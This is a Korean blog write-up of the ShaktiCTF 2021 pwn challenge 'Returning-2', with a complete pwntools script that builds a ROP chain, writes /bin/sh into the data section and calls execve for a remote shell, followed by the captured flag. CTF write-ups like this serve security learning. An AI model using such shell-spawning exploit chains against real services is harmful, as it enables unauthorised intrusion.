Sechack

ShaktiCTF 2021 - Returning-2 풀이 본문

CTF

ShaktiCTF 2021 - Returning-2 풀이

Sechack 2021. 4. 4. 18:24
반응형

 

처음에 숫자를 입력받는다. 그리고 입력받은 숫자를 기반으로 다음 입력때 사용할 스택 주소를 연산하는것 같았다. 그리고 연산된 주소에다가 0x78만큼 입력받는다.

 

 

연산하는 부분을 어셈으로 보면 덧셈, 뺄셈, 곱셈, 시프트 연산 등을 하는걸 볼 수 있다. 우리는 연산된 주소와 ret까지의 offset이 0x78을 넘지 않도록 만들면 된다. 저걸 다 분석할수도 있지만 귀찮아서 그냥 -1넣어봤다. 그리고 gdb로 보니까

ret까지의 offset이 0x28이 나오는것이다. 그래서 그냥 -1넣고 진행하였다.

옆에보면 pop rax, rdi, rsi. rdx, syscall 전부 가젯을 제공해주는걸 알 수 있다.

따라서 저걸 사용해서 sysrop해서 /bin/sh기록하고 execve호출하면 되는것이다.

 

 

보니까 bss섹션이 이미 사용중이다.

 

 

따라서 비어있는 data섹션을 사용하였다. 중간에 페이로드 길이때문에 한번 main으로 돌아간뒤 다시 체이닝을 하였다. 그리고 그 과정에서 자세히는 모르겠지만 로되리안이 나서 ret을 한번 더해줬더니 된다. ubuntu 18.04나 20.04에서 system함수 ret덮어서 호출할때 스택주소가 16바이트 단위로 정렬되어야해서 ret한번 더 넣어줘야하는 경우가 있는데 그거랑 비슷한 경우인것 같다.

 

from pwn import *

#context.log_level = 'debug'

r = remote("34.121.211.139", 3333)
#p = process("./chall")
e = ELF("./chall")

pop_rdi = 0x40077f
pop_rsi = 0x400791
pop_rdx = 0x400788
pop_rax = 0x40079A
syscall = 0x4007A3
ret = 0x400766
main = e.sym["main"]

r.sendlineafter(":", "-1")

payload = b"a"*0x28
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(0x601040)
payload += p64(pop_rdx)
payload += p64(10)
payload += p64(syscall)
payload += p64(0)
payload += p64(ret)
payload += p64(main)

r.sendafter(":", payload)
sleep(0.5)
r.send(b"/bin/sh\x00")

r.sendlineafter(":", "-1")

payload = b"a"*0x28
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdi)
payload += p64(0x601040)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

r.sendafter(":", payload)

r.interactive()

 

전체 페이로드이다.

 

 

셸이 따였다.

 

shaktictf{all0c4_the_m1ghty!}

 

(대회 중에 작성한 write up으로 대회가 끝날때까지 보호를 걸어놓았습니다.)

반응형
Comments